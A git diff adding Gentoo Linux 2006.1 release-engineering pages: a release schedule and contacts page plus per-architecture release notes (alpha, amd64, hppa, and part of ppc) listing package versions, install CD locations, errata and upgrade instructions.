+<title>Contacts and Schedule</title>
+<body>
+
+<p><b>Contacts:</b></p>
+
+<ul>
+<li>Release Operations: <mail link="plasmaroo@gentoo.org">Tim Yamin</mail></li>
+<li>Documentation: <mail link="fox2mike@gentoo.org">Shyam Mani</mail></li>
+<li>Infrastructure: <mail link="jforman@gentoo.org">Jeff Forman</mail></li>
+<li>PR: <mail link="christel@gentoo.org">Christel Dahlskjaer</mail></li>
+</ul>
+
+<p><b>2006.1 Schedule</b></p>
+
+<table>
+<tr>
+<th>Milestone</th>
+<th>Description</th>
+<th>Status</th>
+</tr>
+<tr>
+<ti>Build tools QA</ti>
+<ti>The release building tools are feature-frozen and are QA checked for proper
+building on each architecture that plans on releasing.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>QA Testing</ti>
+<ti>Release components have been thoroughly tested in accordance with the QA
+guidelines. At least one test release has been made by this time by each
+architecture.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Official Snapshot</ti>
+<ti>The official portage freeze is completed.  From this point forward, only
+bug/security fixes are introduced into the release tree that affect the release
+media.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Final QA</ti>
+<ti>After the successful build of the release materials, a final "once over" is
+given to each piece of the release materials to test functionality and
+correctness.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Release upload</ti>
+<ti>All release components are uploaded to the official release staging area on
+the Release Engineering AMD64 box for signing and MD5/SHA1 verification.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>PR written</ti>
+<ti>All PR items, including release notes for each architecture, are completed.
+Release notes are committed to CVS, and the PR items are prepared.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Release handover</ti>
+<ti>Release Engineering makes one final check of all materials, then hands it
+over to Infrastructure for staging and release.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Mirrors are staged</ti>
+<ti>Infrastructure stages the mirrors and prepares PR items for final
+commit.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>2006.1 Release</ti>
+<ti>Infrastructure performs the final commit on PR items and makes the release
+materials live. 2006.1 is publically released.</ti>
+<ti>Completed</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>Architectures Releasing</title>
+<body>
+
+<p>
+The following supported architectures are tentatively releasing 2006.1:
+</p>
+
+<table>
+<tr>
+<th>Architecture</th>
+<th>Subarch(es)</th>
+<th>Expected Components for 2006.1</th>
+<th>Release Coordinator(s)</th>
+</tr>
+<tr>
+<ti>alpha</ti>
+<ti>alpha</ti>
+<ti>InstallCDs, stages, Release Notes</ti>
+<ti>kloeri</ti>
+</tr>
+<tr>
+<ti>amd64</ti>
+<ti>amd64</ti>
+<ti>InstallCD, stages, LiveCD, Release Notes</ti>
+<ti>kugelfang</ti>
+</tr>
+<tr>
+<ti>hppa</ti>
+<ti>hppa1.1, hppa2.0</ti>
+<ti>InstallCDs, stages, Release Notes</ti>
+<ti>dertobi123</ti>
+</tr>
+<tr>
+<ti>ppc</ti>
+<ti>G4, G5, power3, power4, power5, ppc, ppc64</ti>
+<ti>InstallCDs, stages, GRP, Release Notes</ti>
+<ti>pylon, ranger, dostrow</ti>
+</tr>
+<tr>
+<ti>sparc</ti>
+<ti>sparc32, sparc64</ti>
+<ti>InstallCDs, stages, Release Notes</ti>
+<ti>gustavoz, weeve</ti>
+</tr>
+<tr>
+<ti>x86</ti>
+<ti>x86, i686</ti>
+<ti>InstallCD, stages, LiveCD, Release Notes</ti>
+<ti>agaffney</ti>
+</tr>
+</table>
+
+<p>
+The following unsupported architectures are tentatively releasing 2006.1:
+</p>
+
+<table>
+<tr>
+<th>Architecture</th>
+<th>Subarch(es)</th>
+<th>Expected Components for 2006.1</th>
+<th>Release Coordinator(s)</th>
+</tr>
+<tr>
+<ti>ia64</ti>
+<ti>ia64</ti>
+<ti>InstallCDs, stages, Release Notes</ti>
+<ti>plasmaroo</ti>
+</tr>
+<tr>
+<ti>mips</ti>
+<ti>mips</ti>
+<ti>LiveCD, stages, netboot images</ti>
+<ti>Kumba</ti>
+</tr>
+</table>
+
+<p>
+If information regarding a specific architecture is wrong or has been omitted,
+please contact the release operations manager.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.1/alpha-release-notes.xml b/xml/htdocs/proj/en/releng/release/2006.1/alpha-release-notes.xml
new file mode 100644
index 00000000..8a05295b
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.1/alpha-release-notes.xml
@@ -0,0 +1,203 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.1/alpha-release-notes.xml,v 1.1 2006/08/29 22:29:07 kloeri Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="alpha-release-notes.xml">
+<title>Alpha Release Notes for Gentoo Linux 2006.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="Alpha Release Coordinator">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+
+<abstract>
+Gentoo 2006.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2006-09-29</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo 2006.1
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo 2006.0.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 X.Org Upgrade</li>
+      <li>  2.3 Errata</li>
+      <li>  2.4 Critical Package Updates</li>
+      <li>  2.5 Userland Updates</li>
+      <li>  2.6 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2006.1</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo 2006.1 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered 200601-15 to 200608-17.</p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number. </p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>X.Org Upgrade</title>
+    <body>
+      <p>With this release, version 7.1 of X.Org X11 is used.  This is the
+        modular version of X.  For upgrading from the monolithic version of
+        X.org (&lt;7.0) , please follow the instructions in the <uri
+          link="http://www.gentoo.org/proj/en/desktop/x/x11/modular-x-howto.xml">Migrating
+          to Modular X HOWTO</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Errata</title>
+    <body>
+      <table>
+        <tr>
+          <th>Errata</th>
+          <th>Workaround</th>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>sys-devel/gcc-3.4.6-r1</li>
+        <li>sys-libs/glibc-2.3.6-r1</li>
+	<li>sys-kernel/vanilla-sources-2.4.33</li>
+        <li>sys-kernel/vanilla-sources-2.6.16.9</li>
+        <li>sys-apps/portage-2.1-r2</li>
+        <li>x11-base/xorg-x11-7.1</li>
+        <li>kde-base/kde-meta-3.5.2</li>
+        <li>gnome-base/gnome-2.12.3</li>
+	<li>www-client/seamonkey-1.0.3</li>
+      </ul>
+
+      <p>For information about how to change your profile please read <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 2.0. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-alpha.xml">Gentoo
+          Installation Handbook</uri> in order to get it in sync with Gentoo
+        2006.1. Please note that it is a constant work in progress, and if any
+        bugs are encountered, please refer them to the Gentoo Linux bugtracking
+        system at <uri link="http://bugs.gentoo.org" />.</p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo 2006.1</title>
+  <section>
+    <title>Installing Gentoo 2006.1</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>The Alpha release team offers a Minimal InstallCD and a Universal InstallCD. The
+        Minimal InstallCD can be used to install only using an Internet
+        connection. The Universal InstallCD is useful for doing basic networkless
+        installs.</p>
+
+      <p>There are 4 kernel configurations available on both bootable CDs. They will run on
+        both, uniprocessor and multiprocessor systems. The first two kernels are based on
+        the linux-2.6.16.9 series (vanilla-sources-2.6.16.9). The last two kernels are based
+	on the linux-2.4.33 series (vanilla-sources-2.4.33). Please refer to the
+        handbook for booting the CD.</p>
+
+      <p>The cds are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>InstallCD Description</th>
+          <th>Location on Mirrors</th>
+        </tr>
+        <tr>
+          <ti>Minimal bootable InstallCD</ti>
+          <ti>/releases/alpha/2006.1/installcd/install-alpha-minimal-2006.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Universal bootable InstallCD</ti>
+          <ti>/releases/alpha/2006.1/installcd/install-alpha-universal-2006.1.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2006.1</title>
+    <body>
+      <p>If you already have a working installation of Gentoo Linux (Version
+        1.4, 2004.0 through 2006.0) there is no need to reinstall. You will
+        automatically get Gentoo 2006.1 if you sync your Portage tree and run
+        <c>emerge --update world</c>. If you still have an installation with a
+        Gentoo 1.2 profile it might make sense -- in some cases -- that you do a
+        new installation.</p>
+
+      <p>There is also the possibility to update your system to a 1.4 profile
+        from which you -- as already stated -- can easily get to Gentoo 2006.1.
+        This update includes recompiling of glibc and some essential system
+        packages; it will take a very long time (possibly longer as a complete
+        re-installation) and it might also fail. So if you still have an
+        installation with a Gentoo 1.2 profile, it's your decision whether you
+        update or reinstall.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.1/amd64-release-notes.xml b/xml/htdocs/proj/en/releng/release/2006.1/amd64-release-notes.xml
new file mode 100644
index 00000000..9643cb0e
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.1/amd64-release-notes.xml
@@ -0,0 +1,226 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.1/amd64-release-notes.xml,v 1.6 2006/09/07 18:07:39 wolf31o2 Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="amd64-release-notes.xml">
+<title>AMD64 Release Notes for Gentoo Linux 2006.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="AMD64 Release Coordinator">
+  <mail link="kugelfang@gentoo.org">Danny van Dyk</mail>
+</author>
+
+<abstract>
+Gentoo 2006.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2006-08-14</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo 2006.1
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo 2006.0</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 Toolchain Update</li>
+      <li>  2.3 X.Org Upgrade</li>
+      <li>  2.4 Errata</li>
+      <li>  2.5 Critical Package Updates</li>
+      <li>  2.6 Portage Updates</li>
+      <li>  2.7 Userland Updates</li>
+      <li>  2.8 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2006.1</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo 2006.1 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered 200601-15 to 200608-17.</p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number. </p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Toolchain Update</title>
+    <body>
+      <p>With Gentoo 2006.1 the AMD64 team made big changes to
+        the toolchain.  Now it contains the following versions:</p>
+      <ul>
+        <li>sys-devel/gcc-4.1.1</li>
+        <li>sys-libs/glibc-2.4-r3</li>
+        <li>sys-devel/binutils-2.16.1-r3</li>
+      </ul>
+      <p>For upgrading gcc from version 3 to version 4, please follow the
+        instructions in the <uri
+          link="http://www.gentoo.org/doc/en/gcc-upgrading.xml">Gentoo Linux GCC
+          Upgrade Guide</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>X.Org Upgrade</title>
+    <body>
+      <p>On Gentoo/AMD64, version 7.0-r1 of X.Org X11 is used.  This is the
+        modular version of X.  For upgrading, please follow the instructions in
+        the <uri
+          link="http://www.gentoo.org/proj/en/desktop/x/x11/modular-x-howto.xml">Migrating
+          to Modular X HOWTO</uri>. We decided to not use version 7.1, as important
+	  binary-only drivers had not yet been released at snapshot time.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Errata</title>
+    <body>
+      <table>
+        <tr>
+          <th>Errata</th>
+          <th>Workaround</th>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>sys-devel/gcc-4.1.1</li>
+        <li>sys-libs/glibc-2.4-r3</li>
+        <li>sys-kernel/gentoo-sources-2.6.17-r7</li>
+        <li>sys-kernel/vanilla-sources-2.6.17.7</li>
+        <li>sys-apps/portage-2.1-r2</li>
+        <li>x11-base/xorg-x11-7.0-r1</li>
+        <li>kde-base/kde-meta-3.5.2</li>
+        <li>gnome-base/gnome-2.14.2</li>
+        <li>xfce-base/xfce4-4.2.3.2</li>
+      </ul>
+
+      <p>There is just one kernel on the InstallCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>gentoo</ti>
+          <ti>Supports uniprocessor and multiprocessor x86_64 AMD and Intel machines.</ti>
+        </tr>
+      </table>
+
+      <p>For information about how to change your profile please read <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 2.0. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-ppc.xml">Gentoo
+          Installation Handbook</uri> in order to get it in sync with Gentoo
+        2006.1. Please note that it is a constant work in progress, and if any
+        bugs are encountered, please refer them to the Gentoo Linux bugtracking
+        system at <uri>http://bugs.gentoo.org</uri>.</p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo 2006.1</title>
+  <section>
+    <title>Installing Gentoo 2006.1</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>The AMD64 release team offers a minimal InstallCD and a LiveCD. The first one being
+        a universally bootable InstallCD which can be used to install only using an Internet
+        connection.</p>
+
+      <p>There is only one kernel available on both bootable CDs. It will run on
+        both, uniprocessor and multiprocessor systems.  The kernel is based on
+        the linux-2.6.17 series (gentoo-sources-2.6.17-r5).  Please refer to the
+        handbook for booting the CD.</p>
+
+      <p>The cds are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>InstallCD Description</th>
+          <th>Location on Mirrors</th>
+        </tr>
+        <tr>
+          <ti>Minimal bootable InstallCD</ti>
+          <ti>/releases/amd64/2006.1/installcd/install-amd64-minimal-2006.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Bootable X-LiveCD containting the Gentoo Installer</ti>
+          <ti>/releases/amd64/2006.1/livecd/livecd-amd64-installer-2006.1.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2006.1</title>
+    <body>
+      <p>If you already have a working installation of Gentoo Linux (Version
+        2005.0 through 2006.0) there is no need to reinstall. You will
+        automatically get Gentoo 2006.1 if you sync your Portage tree and run
+        <c>emerge --update world</c>. If you still have an installation with a
+        pre 2005.0 profile it might make sense -- in some cases -- that you do a
+        new installation.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.1/hppa-release-notes.xml b/xml/htdocs/proj/en/releng/release/2006.1/hppa-release-notes.xml
new file mode 100644
index 00000000..deab80e4
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.1/hppa-release-notes.xml
@@ -0,0 +1,209 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.1/hppa-release-notes.xml,v 1.1 2006/08/23 18:58:20 dertobi123 Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="hppa-release-notes.xml">
+<title>HPPA Release Notes for Gentoo Linux 2006.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="HPPA Release Coordinator">
+  <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail>
+</author>
+
+<abstract>
+Gentoo 2006.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2006-08-23</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo Linux is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo Linux 2006.1
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo Linux 2006.0.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 Profile Update</li>
+      <li>  2.3 Errata</li>
+      <li>  2.4 Critical Package Updates</li>
+      <li>  2.5 Portage Updates</li>
+      <li>  2.6 Userland Updates</li>
+      <li>  2.7 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2006.1</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo Linux 2006.1 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered 200601-15 to 200608-17.</p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number.</p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>gcc-4.1.1</li>
+        <li>glibc-2.3.6-r4</li>
+        <li>hppa-sources-2.6.16.18_p11</li>
+        <li>portage-2.1-r2</li>
+        <li>xorg-x11-7.0-r1</li>
+        <li>kde-3.5.2</li>
+        <li>gnome-2.14.2</li>
+        <li>xfce4-4.2.3.2</li>
+      </ul>
+
+      <p>There are two kernels on the InstallCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>vmlinux</ti>
+          <ti>Supports uniprocessor HPPA machines</ti>
+        </tr>
+        <tr>
+          <ti>vmlinux64</ti>
+          <ti>Supports uniprocessor HPPA 2.0 machines. If you have less then 4
+            GB of RAM you should choose the 32-Bit vmlinux kernel.</ti>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Portage Updates</title>
+    <body>
+      <p>The Portage version included in this release is 2.1 and the <uri
+          link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+        can be found via our online CVS repository.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 2.0. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+        link="http://www.gentoo.org/doc/en/handbook/handbook-hppa.xml">Gentoo
+        Installation Handbook</uri> in order to get it more in sync with
+        Gentoo 2006.1. Please note that it is a constant work in progress, and
+        if any bugs are encountered, please refer them to the Gentoo Linux
+        bugtracking system at <uri link="http://bugs.gentoo.org" />.  </p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo Linux 2006.1</title>
+  <section>
+    <title>Installing Gentoo Linux 2006.1</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>The HPPA release team offers two InstallCDs. The first one being an universal
+        bootable InstallCD which can be used to install with or without an Internet
+        connection. The second InstallCD is a bootable minimal InstallCD that is
+        smaller in size and includes only the basics needed to simply boot a
+        machine.</p>
+
+      <p>At minimum, the universal or minimal InstallCD is required to boot the
+        machine and install Gentoo.  The universal InstallCD requires an Internet
+        connection to install from a stage1 installation tarball, but does not
+        require an Internet connection to install from a stage3 installation
+        tarball. The minimal InstallCD requires an Internet connection to install
+        Gentoo Linux.</p>
+
+      <p>There is one kernel available on both bootable cds. It will run on
+        both, uniprocessor and multiprocessor systems.  The kernel is based on
+        linux-2.6.16 (hppa-sources-2.6.16.18_p11).</p>
+
+      <p>The InstallCDs are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>InstallCD Description</th>
+          <th>Location on Mirrors</th>
+        </tr>
+        <tr>
+          <ti>Universal bootable InstallCD</ti>
+          <ti>/releases/hppa/2006.1/hppa/installcd/install-hppa-universal-2006.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Minimal bootable InstallCD</ti>
+          <ti>/releases/hppa/2006.1/hppa/installcd/install-hppa-minimal-2006.1.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2006.1</title>
+    <body>
+      <p> If you already have a working installation of Gentoo Linux (Version
+        1.4, 2004.0 through 2006.0) there is no need to reinstall. You will
+        automatically get Gentoo 2006.1 if you sync your Portage tree and run
+        <c>emerge --update world</c>. If you still have an installation with a
+        Gentoo 1.2 profile it might make sense -- in some cases -- that you do a
+        new installation.</p>
+
+      <p> There is also the possibility to update your system to a 1.4 profile
+        from which you -- as already stated -- can easily get to Gentoo 2006.1.
+        This update includes recompiling of glibc and some essential system
+        packages; it will take a very long time (possibly longer as a complete
+        re-installation) and it might also fail. So if you still have an
+        installation with a Gentoo 1.2 profile, it's your decision whether you
+        update or reinstall.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.1/ppc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2006.1/ppc-release-notes.xml
new file mode 100644
index 00000000..f6a9edc6
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.1/ppc-release-notes.xml
@@ -0,0 +1,308 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.1/ppc-release-notes.xml,v 1.1 2006/08/14 09:23:03 pylon Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="ppc-release-notes.xml">
+<title>ppc Release Notes for Gentoo Linux 2006.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="PPC Release Coordinator">
+  <mail link="pylon@gentoo.org">Lars Weiler</mail>
+</author>
+
+<abstract>
+Gentoo 2006.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2006-08-14</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo 2006.1
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo 2006.0</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 Profile Update</li>
+      <li>  2.3 Errata</li>
+      <li>  2.4 Critical Package Updates</li>
+      <li>  2.5 Portage Updates</li>
+      <li>  2.6 Userland Updates</li>
+      <li>  2.7 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2006.1</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo 2006.1 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered 200601-15 to 200608-17.</p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number. </p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Toolchain Update</title>
+    <body>
+      <p>With Gentoo 2006.1 the PowerPC team made big changes to
+        the toolchain.  Now it contains the following versions:</p>
+      <ul>
+        <li>sys-devel/gcc-4.1.1</li>
+        <li>sys-libs/glibc-2.4-r3</li>
+        <li>sys-devel/binutils-2.16.1-r3</li>
+      </ul>
+      <p>For upgrading gcc from version 3 to version 4, please follow the
+        instructions in the <uri
+          link="http://www.gentoo.org/doc/en/gcc-upgrading.xml">Gentoo Linux GCC
+          Upgrade Guide</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>X.Org Upgrade</title>
+    <body>
+      <p>On Gentoo PowerPC the version 7.1 of X.Org X11 is used.  This is the
+        modular version of X.  For upgrading, please follow the instructions in
+        the <uri
+          link="http://www.gentoo.org/proj/en/desktop/x/x11/modular-x-howto.xml">Migrating
+          to Modular X HOWTO</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Airport Express supported by kernel</title>
+    <body>
+      <p>With the Linux kernel 2.6.17 the Broadcom Chipset used in Apples
+        Airport Express Wireless LAN network interfaces is officially supported.
+        With Gentoo 2006.1 this kernel version is used by default on the PowerPC
+        platform.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Errata</title>
+    <body>
+      <table>
+        <tr>
+          <th>Errata</th>
+          <th>Workaround</th>
+        </tr>
+        <tr>
+          <ti><c>pbbuttonsd</c> does not start.</ti>
+          <ti>This tool gives some power and keyboard advantages to Apple Laptop
+            and Desktop users.  During the release QA-phase we found out, that
+            recent versions of pbbuttonsd depend on a c++-library which is not
+            available on the InstallCD.  We removed pbbuttons from the InstallCD
+            for this release.</ti>
+        </tr>
+        <tr>
+          <ti>There is no bootsplash</ti>
+          <ti>As the bootsplash, known from previous releases, consumes 25 MB of
+            disk-space on the CD, we decided to leave it out in order to hand
+            you a smaller ISO.  Furthermore the in-kernel libc, klibc, refuses
+            to compile on the PowerPC-platform properly.  This is a known bug
+            with some major kernel-changes on PowerPC during the last
+            kernel-releases.</ti>
+        </tr>
+        <tr>
+          <ti>Troubles booting on OldWorld machines with BootX</ti>
+          <ti>Some OldWorld machines refuse to boot the 2006.1-CD with BootX.
+            In this case, use the 2006.0 CD for booting, but you are able to
+            install Gentoo 2006.1 with the appropriate stages.</ti>
+        </tr>
+        <tr>
+          <ti>Serial output on the Pegasos does not work</ti>
+          <ti>Another command in SmartFirmware is needed.  Use <c>boot cd
+              boot/pegasos console=ttyS0,115200 init=/linuxrc looptype=squashfs
+              loop=/image.squashfs udev nodevfs cdroot root=/dev/ram</c>.</ti>
